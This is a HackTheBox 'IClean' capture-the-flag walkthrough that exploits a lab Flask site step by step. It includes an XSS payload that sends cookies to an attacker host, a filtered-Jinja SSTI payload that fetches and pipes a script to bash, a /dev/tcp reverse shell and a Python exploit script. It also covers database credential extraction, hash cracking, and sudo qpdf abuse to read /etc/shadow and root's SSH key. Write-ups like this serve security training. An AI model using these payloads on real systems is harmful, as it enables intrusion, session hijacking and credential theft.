IClean – HackTheBox Link to heading
- OS: Linux
- Difficulty: Medium
- Platform: HackTheBox
Summary Link to heading
IClean
is a medium Linux
machine from HackTheBox
. After an initial scan above TCP
ports, they show the victim machine is running a website. This website presents a cleaning service. Among all the options available this site presents, we are able to request a service that is vulnerable to Cross Site Scripting
(XSS
); which allows us to steal a cookie and perform a Session Hijacking
attack. With the stolen cookie we are able to enter in an Admin Dashboard
. Once inside this dashboard, one of the services available within it is vulnerable to Server Side Template Injection
(SSTI
), which allows us to gain initial access on the victim machine as www-data
user. Once inside, we find credentials for a MySQL
service internally running, which exposes hashes for different users. Fortunately, one of these hashes is crackeable through a Brute Force Password Cracking
. We are then able to connect via SSH
with these new credentials as a new user. Once inside as this new user, we see that it can run qpdf
(a tool to work with PDF
files) with sudo
, which allows us to read restricted files that only root
could read; among them we are able to read id_rsa
(SSH
key) file, copy it into our attacker machine and connect to the victim machine via SSH
as root
user.
User Link to heading
We start with Nmap
scanning open for open TCP
ports:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.12
Nmap
scan shows only 2 ports open: 22
SSH
and 80
HTTP
:
❯ sudo nmap -sVC -p22,80 10.10.11.12 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 21:17 -04
Nmap scan report for 10.10.11.12
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.65 seconds
Visiting http://10.10.11.12
redirects to https://capiclean.htb
. So I add this domain to my /etc/hosts
file:
❯ echo '10.10.11.12 capiclean.htb' | sudo tee -a /etc/hosts
10.10.11.12 capiclean.htb
Now we can visit http://capiclean.htb
webpage. The page shows a service that cleans houses:
Using WhatWeb
I also note that this server is a Flask
server:
❯ whatweb http://capiclean.htb
http://capiclean.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[contact@capiclean.htb], HTML5, HTTPServer[Werkzeug/2.3.7 Python/3.10.12], IP[10.10.11.12], JQuery[3.0.0], Python[3.10.12], Script, Title[Capiclean], Werkzeug[2.3.7], X-UA-Compatible[IE=edge]
There is a login panel at /login
directory. Attempting to log in with default credentials like admin_admin
or guest:guest
do not work.
At this point I decide to look for directories attempting a Brute Force Directory Listing
with Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://capiclean.htb -t 55
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://capiclean.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about (Status: 200) [Size: 5267]
/login (Status: 200) [Size: 2106]
/services (Status: 200) [Size: 8592]
/team (Status: 200) [Size: 8109]
/quote (Status: 200) [Size: 2237]
/logout (Status: 302) [Size: 189] [--> /]
/dashboard (Status: 302) [Size: 189] [--> /]
/choose (Status: 200) [Size: 6084]
/server-status (Status: 403) [Size: 278]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
I note that we have a /dashboard
directory, but its access is 320
(Temporarily Moved
). So I suspect that we can access to this directory if we have an account.
Scrolling down to the page, I can see a Get a Quote
button:
Clicking on it redirects to http://capiclean.htb/quote
:
Now, I intercept the request sent with Submit
button in this page with Burpsuite
. After some attempts, I note that if we select the options Carpet Cleaning
, Tile & Grout
and Office Cleaning
this adds a parameter service
, so the request looks like:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1
service=Carpet+Cleaning&service=Tile+%26+Grout&service=Office+Cleaning&email=test%40test.com
Sending this request to the Repeater
within Burpsuite
, I start playing with service
and email
parameters. After some attempts, in the service
parameter, I try one of the following payloads:
<img src="http://<Attacker-IP>:<listening-port>";>
For this, I also start a listener on netcat
on port 8000
:
❯ nc -lvnp 8000
listening on [any] 8000 ...
Eventually, the request that works in Burpsuite
is the following:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1
service=<img+src%3d"http%3a//10.10.16.3%3a8000"%3b>&email=test@test.com
where 10.10.16.3
is my attacker IP and 8000
is the port I am listening with netcat
.
In my netcat
listener, after some seconds, I get something:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.12] 42592
GET / HTTP/1.1
Host: 10.10.16.3:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
So we are getting a Get
request. I then attempt to get the user cookie (through a Cross Site Scripting
, or XSS
) running the command:
<img src=x onerror=fetch("http://<Attacker-IP>:<listening-port>/"+document.cookie);>
so my Burpsuite
request looks like:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1
service=<img+src%3dx+onerror%3dfetch("http%3a//10.10.16.3%3a8000/"%2bdocument.cookie)%3b>&email=test@test.com
and in the netcat
listener I get:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.12] 42978
GET /session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU HTTP/1.1
Host: 10.10.16.3:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:3000
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
where I can see a cookie:
session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU
So this cookie might work in the site. Then go back to http//capiclean.htb/login
and in my Firefox
browser I press Ctrl+Shift+I
and then go to Storage
tab. There I add the cookie with the name session
and the value we previously found:
Then, change the url to http://capiclean.htb/dashboard
and refresh the site. Now we can see more options in the site:
and the site title is now Admin Dashboard
. We have successfully performed a Session Hijacking
.
Apparently this new site generates request for services. If I click on Generate Invoice
I can see a panel that I fill with some random data:
Clicking on Generate
generates an Invoice ID
, in my case: 4643878681
Then, going back to the /dashboard
I can see a Generate QR
button that redirects to http://capiclean.htb/QRGenerator
. I put my generated Invoice ID
in the field available:
Clicking on Generate
generates a QR Code Link
. At the bottom I can see the field Insert QR Link to generate Scannable Invoice
. If I put the QR Code link, which in my case is http://capiclean.htb/static/qr_code/qr_code_4643878681.png
It redirects me to another page that puts details about the service:
…that’s expensive.
Here I will go back to /QRGenerator
directory, I decide to intercept the Insert QR Link
request with Burpsuite
. We have a request that looks like:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU
Upgrade-Insecure-Requests: 1
invoice_id=&form_type=scannable_invoice&qr_link=http%3A%2F%2Fcapiclean.htb%2Fstatic%2Fqr_code%2Fqr_code_4643878681.png
I remember that back in the days of the machine I resolved that was also running Flask
was HTB Late
. This machine was vulnerable to Server Side Template Injection
(SSTI
), so I attempt that as well. In the qr_link
from the request above, I change its value to {{7*7}}
. In Burpsuite
I send the payload:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU
Upgrade-Insecure-Requests: 1
invoice_id=&form_type=scannable_invoice&qr_link={{7*7}}
and in the response I get:
<SNIP>
</main>
<div class="qr-code-container"><div class="qr-code"><img src="data:image/png;base64,49" alt="QR Code"></div>
</body>
</html>
<SNIP>
If I change the payload to {{9*9}}
I get 81
and so on… So I assume this application is vulnerable to SSTI
as well and is running Jinga
. For HTB Late
machine I remember that I used some examples from HackTricks to inject commands. However, it was not so easy here. I was reading this post that provided more Jinga
payload examples, and also at HackTricks they show how to bypass filters without using some characters. We finally have the payload:
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl IP:PORT/revshell | bash")|attr("read")()}}
as explained in the mentioned blog.
My plan is simple:
- Expose a malicious script called
rev.sh
within a temporalPython
server on port8000
. - Start a listener with
nc
on port443
. - Send a malicious payload through
SSTI
vulnerability to execute the exposed script in my temporal server on my port8000
. - The malicious script will send a reverse shell to my
nc
listener.
For this to work let’s create a Bash
script that will send us a reverse shell when executed on the victim machine:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.3/443 0>&1'
and call it rev.sh
I will serve this file in my machine on port 8000
setting a temporal Python
HTTP
server on the mentioned port:
❯ chmod +x rev.sh
❯ ls && python3 -m http.server 8000
rev.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
I will then modify the mentioned payload previously and adapt it. In my case I will change the attacker IP to 10.10.16.3
, port 8000
(the port with my temporal exposed server) and change the payload name from revshell
to rev.sh
. I start a listener with netcat
on port 443
. And then, in Burpsuite
, I send the payload/request:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://capiclean.htb
DNT: 1
Connection: close
Referer: http://capiclean.htb/QRGenerator
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU
Upgrade-Insecure-Requests: 1
invoice_id=&form_type=scannable_invoice&qr_link={{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl+10.10.16.3%3a8000/rev.sh|bash")|attr("read")()}}
and we should get a reverse shell in our netcat
listener.
I additionally create a Python
script that will send us a reverse shell in case we need to quickly gain connection again against the target:
#!/usr/bin/python3
import requests
import sys
import argparse
default_cookie: str = 'eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZlE6uQ.qXOyV6dJVUEmksNhtOzJGR3_sLU'
def parse_arguments()->argparse.Namespace:
parser = argparse.ArgumentParser(description='Reverse Shell to "HackTheBox IClean" machine.')
# Add arguments
parser.add_argument('-i', '--ip', type=str, help='Your attacker Ip to connect from the target machine', required=True)
parser.add_argument('-p', '--port', type=int, help='Listening port to get reverse shell', required=True)
parser.add_argument('-c', '--cookie', type=str, help=f'Cookie found from XXS. Only change this value if the cookie is different from {default_cookie!r}',
default=default_cookie)
# Return arguments
return parser.parse_args()
def make_request_server(args: argparse.Namespace)->None:
url = "http://capiclean.htb:80/QRGenerator"
cookies_value = {"session": args.cookie}
generic_header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded", "Origin": "http://capiclean.htb",
"DNT": "1", "Connection": "close", "Referer": "http://capiclean.htb/QRGenerator",
"Upgrade-Insecure-Requests": "1"}
payload: str = f"{{{{request|attr(\"application\")|attr(\"\\x5f\\x5fglobals\\x5f\\x5f\")|attr(\"\\x5f\\x5fgetitem\\x5f\\x5f\")(\"\\x5f\\x5fbuiltins\\x5f\\x5f\")|attr(\"\\x5f\\x5fgetitem\\x5f\\x5f\")(\"\\x5f\\x5fimport\\x5f\\x5f\")(\"os\")|attr(\"popen\")(\"bash -c 'bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1'\")|attr(\"read\")()}}}}"
post_data = {"invoice_id": '', "form_type": "scannable_invoice", "qr_link": payload}
requests.post(url, headers=generic_header, cookies=cookies_value, data=post_data)
return
def main()->None:
# Get arguments from user
args = parse_arguments()
# Make the reverse shell request
make_request_server(args)
if __name__ == "__main__":
main()
and run:
❯ python3 connect_to_server.py -i 10.10.16.3 -p 443
Running any of these options give me a reverse shell as www-data
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.12] 46446
bash: cannot set terminal process group (1206): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ whoami
whoami
www-data
At /opt/app
I can see an app.py
file. Inside this file I can see something:
<SNIP>
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}
<SNIP>
Checking for internal ports open I can see port 3306
, this indicates that we might have a MySQL
database running:
www-data@iclean:/opt/app$ ss -ntlp
ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 10 127.0.0.1:45495 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 127.0.0.1:3000 0.0.0.0:* users:(("python3",pid=1206,fd=4))
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
I can connect to MySQL
database with these credentials, but the terminal is too slow. We can add -e
flag in mysql
command to send the SQL
commands from terminal and fix this little issue:
www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'show databases;'
mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'show databases;'
mysql: [Warning] Using a password on the command line interface can be insecure.
Database
capiclean
information_schema
performance_schema
www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; show tables'
mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; show tables'
mysql: [Warning] Using a password on the command line interface can be insecure.
Tables_in_capiclean
quote_requests
services
users
www-data@iclean:/opt/app$ mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; select * from users;'
mysql -u iclean -ppxCsmnGLckUb --database capiclean -e 'use capiclean; select * from users;'
mysql: [Warning] Using a password on the command line interface can be insecure.
id username password role_id
1 admin 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 21232f297a57a5a743894a0e4a801fc3
2 consuela 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa ee11cbb19052e40b07aac0ca060c23ee
We find users and password hashes.
We can then attempt a Brute Force Password Cracking
with JohnTheRipper
(john
) against these hashes. I save these hashes in my attacker machine in a file called hashes
:
❯ cat hashes
admin:2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51
consuela:0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa
and attempt to crack them:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes --format=raw-sha256
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=5
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
simple and clean (consuela)
1g 0:00:00:01 DONE (2024-05-25 00:01) 0.6535g/s 9374Kp/s 9374Kc/s 11837KC/s """anokax"..*7¡Vamos!
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.
so we have credentials: consuela:simple and clean
.
I check with NetExec
if these credentials allow us to connect to the victim machine via SSH
:
❯ netexec ssh 10.10.11.12 -u 'consuela' -p 'simple and clean'
SSH 10.10.11.12 22 10.10.11.12 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
SSH 10.10.11.12 22 10.10.11.12 [+] consuela:simple and clean (non root) Linux - Shell access!
and they do.
So we can just connect via SSH
as consuela
user:
❯ sshpass -p 'simple and clean' ssh -o stricthostkeychecking=no consuela@10.10.11.12
Warning: Permanently added '10.10.11.12' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat May 25 04:05:26 AM UTC 2024
Expanded Security Maintenance for Applications is not enabled.
3 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
consuela@iclean:~$
where we can get the user flag at consuela
home directory.
Root Link to heading
Checking what can this user run with sudo
we have:
consuela@iclean:~$ sudo -l
[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User consuela may run the following commands on iclean:
(ALL) /usr/bin/qpdf
so this user can run QPDF
as sudo
.
Searching what is qpdf linux
on Google returns:
Looking at QPDF documentation we have the --qpdf
flag that tells QPDF
to produce a QDF
file, which is a more human-readable form of a PDF. It is often used for debugging or editing PDF files manually. We can then add a file attaching it to another file, in this case we can try a file that only root
might have access like, for example, /etc/shadow
. Then --empty
creates an empty file. Finally, we have to name the output file. So I run the command:
consuela@iclean:~$ sudo /usr/bin/qpdf --qdf --add-attachment /etc/shadow -- --empty /tmp/shadow
We can then check that file /tmp/shadow
has been created:
consuela@iclean:~$ ls -la /tmp
total 80
<SNIP>
drwx------ 8 games games 4096 May 25 04:18 puppeteer_dev_chrome_profile-XXXXXXlBvpBX
-rw-r--r-- 1 root root 2318 May 25 04:18 shadow
drwx------ 3 root root 4096 May 25 01:11 systemd-private-7dee036bbe3843cda10c4499f30b3eaa-apache2.service-BfaArY
drwx------ 3 root root 4096 May 25 03:06 systemd-private-7dee036bbe3843cda10c4499f30b3eaa-fwupd.service-sb0OkN
<SNIP>
and we can read it:
consuela@iclean:~$ cat /tmp/shadow
%PDF-1.3
%
%QDF-1.0
<SNIP>
root:$y$j9T$s0AIwd7onN6K77K5v8DNN/$bSd333U5BKvkfCPEGdf9dLl3bOYwqOlFNtGZ1FQQuv/:19774:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
<SNIP>
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19605:0:99999:7:::
consuela:$y$j9T$kcli/RCzquedZVyk0783m/$8KhTzkFppH2THx1k0SuUcjSP4jFXNl6HokF4MKwFr60:19605:0:99999:7:::
lxd:!:19605::::::
snapd-range-524288-root:!:19605::::::
snap_daemon:!:19605::::::
<SNIP>
so it worked.
We could try to crack this password. But before doing that, since SSH
port was open, there might exist a /root/.ssh/id_rsa
file. So we repeat the step above, but copying /root/.ssh/id_rsa
file for root
(if it exists):
consuela@iclean:~$ sudo /usr/bin/qpdf --qdf --add-attachment /root/.ssh/id_rsa -- --empty /tmp/id_rsa
consuela@iclean:~$ cat /tmp/id_rsa
%PDF-1.3
%
%QDF-1.0
<SNIP>
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
<SNIP>
I save this file in my attacker machine into a file called id_rsa_root
, and then run:
❯ chmod 600 id_rsa_root
❯ ssh -i id_rsa_root root@10.10.11.12
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat May 25 04:24:41 AM UTC 2024
Expanded Security Maintenance for Applications is not enabled.
3 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@iclean:~# whoami
root
where we can finally get the root
flag at /root
directory.
~Happy Hacking